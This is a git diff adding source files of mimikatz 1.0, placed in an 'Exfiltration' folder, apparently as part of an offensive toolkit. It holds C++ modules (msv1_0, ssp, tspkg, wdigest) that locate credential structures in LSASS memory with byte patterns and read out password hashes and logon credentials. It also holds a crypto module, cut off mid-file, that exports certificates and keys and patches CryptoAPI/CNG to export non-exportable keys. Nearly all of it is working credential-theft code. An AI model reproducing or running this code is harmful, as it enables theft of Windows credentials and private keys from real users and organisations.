diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h
new file mode 100644
index 0000000..cf8ccac
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h
@@ -0,0 +1,105 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "../mod_mimikatz_sekurlsa.h"
+
+class mod_mimikatz_sekurlsa_msv1_0 {
+
+private:
+ typedef struct _KIWI_MSV1_0_PRIMARY_CREDENTIALS {
+ PVOID unk0; // next?
+ LSA_UNICODE_STRING Primary;
+ LSA_UNICODE_STRING Credentials;
+ } KIWI_MSV1_0_PRIMARY_CREDENTIALS, *PKIWI_MSV1_0_PRIMARY_CREDENTIALS;
+
+ typedef struct _KIWI_MSV1_0_CREDENTIALS {
+ PVOID unk0; // next?
+ DWORD AuthenticationPackageId;
+ PVOID PrimaryCredentials;
+ } KIWI_MSV1_0_CREDENTIALS, *PKIWI_MSV1_0_CREDENTIALS;
+
+ typedef struct _KIWI_MSV1_0_LIST_5 {
+ struct _KIWI_MSV1_0_LIST_5 *Flink;
+ struct _KIWI_MSV1_0_LIST_5 *Blink;
+ LUID LocallyUniqueIdentifier;
+ LSA_UNICODE_STRING UserName;
+ LSA_UNICODE_STRING Domaine;
+ PVOID unk14; // 0
+ PVOID unk15; // 0
+ PVOID unk16; // offset unk_181A080
+ DWORD unk17; // 0Ah
+ DWORD unk18; // 2
+ #ifdef _M_IX86
+ DWORD unk19;
+ #endif
+ DWORD unk20; // 5AC4186Ch
+ DWORD unk21; // 1CD6BFDh
+ LSA_UNICODE_STRING LogonServer;
+ PKIWI_MSV1_0_CREDENTIALS Credentials;
+ PVOID unk22; // 0C14h
+ PVOID unk23; // 0BFCh
+ } KIWI_MSV1_0_LIST_5, *PKIWI_MSV1_0_LIST_5;
+
+ typedef struct _KIWI_MSV1_0_LIST_6 {
+ struct _KIWI_MSV1_0_LIST_6 *Flink;
+ struct _KIWI_MSV1_0_LIST_6 *Blink;
+ PVOID unk0; // unk_18457A0
+ DWORD unk1; // 0FFFFFFFFh
+ DWORD unk2; // 0
+ PVOID unk3; // 0
+ PVOID unk4; // 0
+ PVOID unk5; // 0
+ PVOID unk6; // 0C04h
+ PVOID unk7; // 0
+ PVOID unk8; // 0C08h
+ PVOID unk9; // 0
+ PVOID unk10; // 0
+ DWORD unk11; // 0
+ DWORD unk12; // 0
+ PVOID unk13; // offset off_18456A0
+ LUID LocallyUniqueIdentifier;
+ LUID SecondaryLocallyUniqueIdentifier;
+ LSA_UNICODE_STRING UserName;
+ LSA_UNICODE_STRING Domaine;
+ PVOID unk14; // 0 Windows 8 + 2*PVOID / 4*PVOID!!
+ PVOID unk15; // 0
+ PVOID unk16; // offset unk_181A080
+ DWORD unk17; // 0Ah
+ DWORD unk18; // 2
+ #ifdef _M_IX86
+ DWORD unk19;
+ #endif
+ DWORD unk20; // 5AC4186Ch
+ DWORD unk21; // 1CD6BFDh
+ LSA_UNICODE_STRING LogonServer;
+ PKIWI_MSV1_0_CREDENTIALS Credentials;
+ PVOID unk22; // 0C14h
+ PVOID unk23; // 0BFCh
+ } KIWI_MSV1_0_LIST_6, *PKIWI_MSV1_0_LIST_6;
+
+ typedef struct _MSV1_0_PRIMARY_CREDENTIAL {
+ LSA_UNICODE_STRING LogonDomainName;
+ LSA_UNICODE_STRING UserName;
+ BYTE NtOwfPassword[0x10];
+ BYTE LmOwfPassword[0x10];
+ BOOLEAN NtPasswordPresent;
+ BOOLEAN LmPasswordPresent;
+ wchar_t BuffDomaine[MAX_DOMAIN_LEN];
+ wchar_t BuffUserName[MAX_USERNAME_LEN];
+ } MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL;
+
+ static void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative = true);
+
+ static PLIST_ENTRY LogonSessionList;
+ static PULONG LogonSessionListCount;
+ static bool searchLogonSessionList();
+
+ static bool decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity);
+public:
+ static bool getMSV(vector<wstring> * arguments);
+ static bool WINAPI getMSVLogonData(__in PLUID logId, __in bool justSecurity);
+}; \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp
new file mode 100644
index 0000000..86dab86
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp
@@ -0,0 +1,92 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "ssp.h"
+#include "..\..\global.h"
+mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_ssp::pModMSV = NULL;
+mod_mimikatz_sekurlsa_ssp::PKIWI_SSP_CREDENTIAL_LIST_ENTRY mod_mimikatz_sekurlsa_ssp::SspCredentialList = NULL;
+
+bool mod_mimikatz_sekurlsa_ssp::getSSP(vector<wstring> * arguments)
+{
+ vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
+ monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getSSPLogonData, wstring(L"ssp")));
+ return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
+}
+
+bool mod_mimikatz_sekurlsa_ssp::searchSSPEntryList()
+{
+#ifdef _M_X64
+ BYTE PTRN_WIN5_SspCredentialList[]= {0xc7, 0x43, 0x24, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15};
+ LONG OFFS_WIN5_SspCredentialList = sizeof(PTRN_WIN5_SspCredentialList) + 4 + 3;
+ BYTE PTRN_WIN6_SspCredentialList[]= {0xc7, 0x47, 0x24, 0x43, 0x72, 0x64, 0x41, 0x48, 0x89, 0x47, 0x78, 0xff, 0x15};
+ LONG OFFS_WIN6_SspCredentialList = sizeof(PTRN_WIN6_SspCredentialList) + 4 + 3;
+#elif defined _M_IX86
+ BYTE PTRN_WALL_SspCredentialList[]= {0x1c, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15};
+ LONG OFFS_WALL_SspCredentialList = sizeof(PTRN_WALL_SspCredentialList) + 4 + 1;
+#endif
+
+ if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModMSV && !SspCredentialList)
+ {
+ PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
+ pointeur= reinterpret_cast<PBYTE *>(&SspCredentialList);
+
+#ifdef _M_X64
+ if(mod_system::GLOB_Version.dwMajorVersion < 6)
+ {
+ pattern = PTRN_WIN5_SspCredentialList;
+ taille = sizeof(PTRN_WIN5_SspCredentialList);
+ offset = OFFS_WIN5_SspCredentialList;
+ }
+ else
+ {
+ pattern = PTRN_WIN6_SspCredentialList;
+ taille = sizeof(PTRN_WIN6_SspCredentialList);
+ offset = OFFS_WIN6_SspCredentialList;
+ }
+#elif defined _M_IX86
+ pattern = PTRN_WALL_SspCredentialList;
+ taille = sizeof(PTRN_WALL_SspCredentialList);
+ offset = OFFS_WALL_SspCredentialList;
+#endif
+ if(HMODULE monModule = LoadLibrary(L"msv1_0"))
+ {
+ MODULEINFO mesInfos;
+ if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
+ {
+ mod_memory::genericPatternSearch(pointeur, L"msv1_0", pattern, taille, offset);
+ *pointeur += pModMSV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
+ }
+ FreeLibrary(monModule);
+ }
+ }
+ return (SspCredentialList != NULL);
+}
+
+bool WINAPI mod_mimikatz_sekurlsa_ssp::getSSPLogonData(__in PLUID logId, __in bool justSecurity)
+{
+ if(searchSSPEntryList())
+ {
+ KIWI_SSP_CREDENTIAL_LIST_ENTRY mesCredentials;
+ DWORD monNb = 0;
+ if(mod_memory::readMemory(SspCredentialList, &mesCredentials, sizeof(LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS))
+ {
+ while(mesCredentials.Flink != SspCredentialList)
+ {
+ if(mod_memory::readMemory(mesCredentials.Flink, &mesCredentials, sizeof(KIWI_SSP_CREDENTIAL_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS))
+ {
+ if(RtlEqualLuid(logId, &(mesCredentials.LogonId)))
+ {
+ mod_mimikatz_sekurlsa::genericCredsToStream(&mesCredentials.credentials, justSecurity, true, &monNb);
+ monNb++;
+ }
+ }
+ }
+ }
+ }
+ else (*outputStream) << L"n.a. (SSP KO)";
+
+ return true;
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h
new file mode 100644
index 0000000..d2d5396
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h
@@ -0,0 +1,32 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "../mod_mimikatz_sekurlsa.h"
+
+class mod_mimikatz_sekurlsa_ssp {
+
+private:
+ typedef struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY {
+ struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Flink;
+ struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Blink;
+ ULONG References;
+ ULONG CredentialReferences;
+ LUID LogonId;
+ ULONG unk0;
+ ULONG unk1;
+ ULONG unk2;
+ KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
+ } KIWI_SSP_CREDENTIAL_LIST_ENTRY, *PKIWI_SSP_CREDENTIAL_LIST_ENTRY;
+
+ static PKIWI_SSP_CREDENTIAL_LIST_ENTRY SspCredentialList;
+ static bool searchSSPEntryList();
+
+public:
+ static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModMSV;
+ static bool getSSP(vector<wstring> * arguments);
+ static bool WINAPI getSSPLogonData(__in PLUID logId, __in bool justSecurity);
+};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp
new file mode 100644
index 0000000..71e3751
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp
@@ -0,0 +1,94 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "tspkg.h"
+#include "..\..\global.h"
+mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_tspkg::pModTSPKG = NULL;
+PRTL_AVL_TABLE mod_mimikatz_sekurlsa_tspkg::TSGlobalCredTable = NULL; //reinterpret_cast<PRTL_AVL_TABLE>(NULL);
+
+bool mod_mimikatz_sekurlsa_tspkg::getTsPkg(vector<wstring> * arguments)
+{
+ vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
+ monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getTsPkgLogonData, wstring(L"tspkg")));
+ return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
+}
+
+bool mod_mimikatz_sekurlsa_tspkg::searchTSPKGFuncs()
+{
+#ifdef _M_X64
+ BYTE PTRN_WALL_TSGlobalCredTable[] = {0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x0d};
+ LONG OFFS_WALL_TSGlobalCredTable = sizeof(PTRN_WALL_TSGlobalCredTable);
+#elif defined _M_IX86
+ BYTE PTRN_WNO8_TSGlobalCredTable[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x51, 0x56, 0xbe};
+ LONG OFFS_WNO8_TSGlobalCredTable = sizeof(PTRN_WNO8_TSGlobalCredTable);
+
+ BYTE PTRN_WIN8_TSGlobalCredTable[] = {0x8b, 0xff, 0x53, 0xbb};
+ LONG OFFS_WIN8_TSGlobalCredTable = sizeof(PTRN_WIN8_TSGlobalCredTable);
+#endif
+
+ if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModTSPKG && !TSGlobalCredTable)
+ {
+ PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
+
+ pointeur= reinterpret_cast<PBYTE *>(&TSGlobalCredTable);
+#ifdef _M_X64
+ pattern = PTRN_WALL_TSGlobalCredTable;
+ taille = sizeof(PTRN_WALL_TSGlobalCredTable);
+ offset = OFFS_WALL_TSGlobalCredTable;
+#elif defined _M_IX86
+ if(mod_system::GLOB_Version.dwBuildNumber < 8000)
+ {
+ pattern = PTRN_WNO8_TSGlobalCredTable;
+ taille = sizeof(PTRN_WNO8_TSGlobalCredTable);
+ offset = OFFS_WNO8_TSGlobalCredTable;
+ }
+ else
+ {
+ pattern = PTRN_WIN8_TSGlobalCredTable;
+ taille = sizeof(PTRN_WIN8_TSGlobalCredTable);
+ offset = OFFS_WIN8_TSGlobalCredTable;
+ }
+#endif
+
+ if(HMODULE monModule = LoadLibrary(L"tspkg"))
+ {
+ MODULEINFO mesInfos;
+ if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
+ {
+ mod_memory::genericPatternSearch(pointeur, L"tspkg", pattern, taille, offset);
+ *pointeur += pModTSPKG->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
+ }
+ FreeLibrary(monModule);
+ }
+ }
+ return (pModTSPKG && TSGlobalCredTable);
+}
+
+bool WINAPI mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData(__in PLUID logId, __in bool justSecurity)
+{
+ if(searchTSPKGFuncs())
+ {
+ PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
+ BYTE * monBuffP = new BYTE[sizeof(KIWI_TS_CREDENTIAL)], * monBuffC = new BYTE[sizeof(KIWI_TS_PRIMARY_CREDENTIAL)];
+ if(PKIWI_TS_CREDENTIAL pLogSession = reinterpret_cast<PKIWI_TS_CREDENTIAL>(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(TSGlobalCredTable, FIELD_OFFSET(KIWI_TS_CREDENTIAL, LocallyUniqueIdentifier), logId)))
+ {
+ if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_TS_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS))
+ {
+ pLogSession = reinterpret_cast<PKIWI_TS_CREDENTIAL>(monBuffP);
+ if(pLogSession->pTsPrimary)
+ {
+ if(mod_memory::readMemory(pLogSession->pTsPrimary, monBuffC, sizeof(KIWI_TS_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS))
+ mesCreds = &(reinterpret_cast<PKIWI_TS_PRIMARY_CREDENTIAL>(monBuffC)->credentials);
+ }
+ else (*outputStream) << L"n.s. (SuppCred KO) / ";
+ }
+ }
+ mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true);
+ delete [] monBuffC, monBuffP;
+ }
+ else (*outputStream) << L"n.a. (tspkg KO)";
+ return true;
+}
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h
new file mode 100644
index 0000000..35a3b15
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h
@@ -0,0 +1,37 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "../mod_mimikatz_sekurlsa.h"
+
+class mod_mimikatz_sekurlsa_tspkg {
+
+private:
+ typedef struct _KIWI_TS_PRIMARY_CREDENTIAL {
+ PVOID unk0; // lock ?
+ KIWI_GENERIC_PRIMARY_CREDENTIAL credentials;
+ } KIWI_TS_PRIMARY_CREDENTIAL, *PKIWI_TS_PRIMARY_CREDENTIAL;
+
+ typedef struct _KIWI_TS_CREDENTIAL {
+ #ifdef _M_X64
+ BYTE unk0[108];
+ #elif defined _M_IX86
+ BYTE unk0[64];
+ #endif
+ LUID LocallyUniqueIdentifier;
+ PVOID unk1;
+ PVOID unk2;
+ PKIWI_TS_PRIMARY_CREDENTIAL pTsPrimary;
+ } KIWI_TS_CREDENTIAL, *PKIWI_TS_CREDENTIAL;
+
+ static PRTL_AVL_TABLE TSGlobalCredTable;
+ static bool searchTSPKGFuncs();
+
+public:
+ static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModTSPKG;
+ static bool getTsPkg(vector<wstring> * arguments);
+ static bool WINAPI getTsPkgLogonData(__in PLUID logId, __in bool justSecurity);
+};
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp
new file mode 100644
index 0000000..b6e3062
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp
@@ -0,0 +1,91 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "wdigest.h"
+#include "..\..\global.h"
+mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_wdigest::pModWDIGEST = NULL;
+mod_mimikatz_sekurlsa_wdigest::PKIWI_WDIGEST_LIST_ENTRY mod_mimikatz_sekurlsa_wdigest::l_LogSessList = NULL;
+long mod_mimikatz_sekurlsa_wdigest::offsetWDigestPrimary = 0;
+
+bool mod_mimikatz_sekurlsa_wdigest::getWDigest(vector<wstring> * arguments)
+{
+ vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
+ monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getWDigestLogonData, wstring(L"wdigest")));
+ return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider);
+}
+
+bool mod_mimikatz_sekurlsa_wdigest::searchWDigestEntryList()
+{
+#ifdef _M_X64
+ BYTE PTRN_WNO8_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x89, 0x5b, 0x08, 0x48, 0x8d};
+ BYTE PTRN_W8CP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x4b, 0x08, 0x49, 0x8b, 0x43, 0x08, 0x4c, 0x39};
+ BYTE PTRN_W8RP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x39, 0x43, 0x08, 0x0f, 0x85};
+#elif defined _M_IX86
+ BYTE PTRN_WNO8_InsertInLogSess[]= {0x8b, 0x45, 0x08, 0x89, 0x08, 0xc7, 0x40, 0x04};
+ BYTE PTRN_W8CP_InsertInLogSess[]= {0x89, 0x0e, 0x89, 0x56, 0x04, 0x8b, 0x41, 0x04};
+ BYTE PTRN_W8RP_InsertInLogSess[]= {0x89, 0x06, 0x89, 0x4e, 0x04, 0x39, 0x48, 0x04};
+#endif
+ LONG OFFS_WALL_InsertInLogSess = -4;
+
+ if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModWDIGEST && !l_LogSessList)
+ {
+ PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0;
+
+ pointeur= reinterpret_cast<PBYTE *>(&l_LogSessList);
+ offset = OFFS_WALL_InsertInLogSess;
+ if(mod_system::GLOB_Version.dwBuildNumber < 8000)
+ {
+ pattern = PTRN_WNO8_InsertInLogSess;
+ taille = sizeof(PTRN_WNO8_InsertInLogSess);
+ }
+ else if(mod_system::GLOB_Version.dwBuildNumber < 8400)
+ {
+ pattern = PTRN_W8CP_InsertInLogSess;
+ taille = sizeof(PTRN_W8CP_InsertInLogSess);
+ }
+ else
+ {
+ pattern = PTRN_W8RP_InsertInLogSess;
+ taille = sizeof(PTRN_W8RP_InsertInLogSess);
+ }
+
+ if(HMODULE monModule = LoadLibrary(L"wdigest"))
+ {
+ MODULEINFO mesInfos;
+ if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
+ {
+ mod_memory::genericPatternSearch(pointeur, L"wdigest", pattern, taille, offset, "SpInstanceInit", false);
+ *pointeur += pModWDIGEST->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
+ }
+ FreeLibrary(monModule);
+ }
+
+#ifdef _M_X64
+ offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 48) : 48);
+#elif defined _M_IX86
+ offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 28) : 32);
+#endif
+ }
+ return (pModWDIGEST && l_LogSessList);
+}
+
+bool WINAPI mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData(__in PLUID logId, __in bool justSecurity)
+{
+ if(searchWDigestEntryList())
+ {
+ PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL;
+ DWORD taille = offsetWDigestPrimary + sizeof(KIWI_GENERIC_PRIMARY_CREDENTIAL);
+ BYTE * monBuff = new BYTE[taille];
+ if(PLIST_ENTRY pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(l_LogSessList), FIELD_OFFSET(KIWI_WDIGEST_LIST_ENTRY, LocallyUniqueIdentifier), logId))
+ if( mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS))
+ mesCreds = reinterpret_cast<PKIWI_GENERIC_PRIMARY_CREDENTIAL>(reinterpret_cast<PBYTE>(monBuff) + offsetWDigestPrimary);
+ mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity);
+ delete [] monBuff;
+ }
+ else (*outputStream) << L"n.a. (wdigest KO)";
+
+ return true;
+}
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h
new file mode 100644
index 0000000..9db3c8b
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h
@@ -0,0 +1,29 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+ Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "../mod_mimikatz_sekurlsa.h"
+
+class mod_mimikatz_sekurlsa_wdigest {
+
+private:
+ typedef struct _KIWI_WDIGEST_LIST_ENTRY {
+ struct _KIWI_WDIGEST_LIST_ENTRY *Flink;
+ struct _KIWI_WDIGEST_LIST_ENTRY *Blink;
+ DWORD UsageCount;
+ struct _KIWI_WDIGEST_LIST_ENTRY *This;
+ LUID LocallyUniqueIdentifier;
+ } KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY;
+
+ static PKIWI_WDIGEST_LIST_ENTRY l_LogSessList;
+ static long offsetWDigestPrimary;
+ static bool searchWDigestEntryList();
+
+public:
+ static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModWDIGEST;
+ static bool getWDigest(vector<wstring> * arguments);
+ static bool WINAPI getWDigestLogonData(__in PLUID logId, __in bool justSecurity);
+}; \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp
new file mode 100644
index 0000000..a869cd8
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp
@@ -0,0 +1,594 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_crypto.h"
+#include "..\global.h"
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_crypto::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listProviders, L"listProviders", L"Liste les providers installés)"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listStores, L"listStores", L"Liste les magasins système"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listCertificates, L"listCertificates", L"Liste les certificats"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listKeys, L"listKeys", L"Liste les conteneurs de clés"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportCertificates, L"exportCertificates", L"Exporte les certificats"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportKeys, L"exportKeys", L"Exporte les clés"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcng, L"patchcng", L"[experimental] Patch le gestionnaire de clés pour l\'export de clés non exportable"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcapi, L"patchcapi", L"[experimental] Patch la CryptoAPI courante pour l\'export de clés non exportable"));
+ return monVector;
+}
+
+bool mod_mimikatz_crypto::listProviders(vector<wstring> * arguments)
+{
+ vector<wstring> * monVectorProviders = new vector<wstring>();
+ /* CryptoAPI */
+ (*outputStream) << L"Providers CryptoAPI :" << endl;
+ if(mod_cryptoapi::getVectorProviders(monVectorProviders))
+ for(vector<wstring>::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++)
+ (*outputStream) << L'\t' << *monProvider << endl;
+ else (*outputStream) << L"mod_cryptoapi::getVectorProviders : " << mod_system::getWinError() << endl;
+
+ /* CryptoNG */
+ if(mod_cryptong::isNcrypt)
+ {
+ (*outputStream) << endl;
+ monVectorProviders->clear();
+
+ (*outputStream) << L"Providers CNG :" << endl;
+ if(mod_cryptong::getVectorProviders(monVectorProviders))
+ for(vector<wstring>::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++)
+ (*outputStream) << L'\t' << *monProvider << endl;
+ else (*outputStream) << L"mod_cryptong::getVectorProviders : " << mod_system::getWinError() << endl;
+ }
+ delete monVectorProviders;
+ return true;
+}
+
+bool mod_mimikatz_crypto::listKeys(vector<wstring> * arguments)
+{
+ listAndOrExportKeys(arguments, false);
+ return true;
+}
+
+bool mod_mimikatz_crypto::exportKeys(vector<wstring> * arguments)
+{
+ listAndOrExportKeys(arguments, true);
+ return true;
+}
+
+bool mod_mimikatz_crypto::listStores(vector<wstring> * arguments)
+{
+ wstring monEmplacement = (arguments->empty() ? L"CERT_SYSTEM_STORE_CURRENT_USER" : arguments->front());
+
+ (*outputStream) << L"Emplacement : \'" << monEmplacement << L'\'';
+
+ DWORD systemStore;
+ if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore))
+ {
+ (*outputStream) << endl;
+ vector<wstring> * mesStores = new vector<wstring>();
+ if(mod_crypto::getVectorSystemStores(mesStores, systemStore))
+ for(vector<wstring>::iterator monStore = mesStores->begin(); monStore != mesStores->end(); monStore++)
+ (*outputStream) << L'\t' << *monStore << endl;
+ else (*outputStream) << L"mod_crypto::getListSystemStores : " << mod_system::getWinError() << endl;
+ delete mesStores;
+ }
+ else (*outputStream) << L" introuvable !" << endl;
+ return true;
+}
+
+bool mod_mimikatz_crypto::listCertificates(vector<wstring> * arguments)
+{
+ listAndOrExportCertificates(arguments, false);
+ return true;
+}
+
+bool mod_mimikatz_crypto::exportCertificates(vector<wstring> * arguments)
+{
+ listAndOrExportCertificates(arguments, true);
+ return true;
+}
+
+void mod_mimikatz_crypto::listAndOrExportKeys(vector<wstring> * arguments, bool exportKeys)
+{
+ bool isMachine = false;
+ DWORD providerType = PROV_RSA_FULL;
+ wstring provider = MS_ENHANCED_PROV;
+
+ switch (arguments->size())
+ {
+ case 1:
+ isMachine = true;
+ case 0:
+ break;
+ case 3:
+ isMachine = true;
+ arguments->erase(arguments->begin());
+ case 2:
+ mod_cryptoapi::getProviderString(arguments->front(), &provider);
+ mod_cryptoapi::getProviderTypeFromString(arguments->back(), &providerType);
+ break;
+ default :
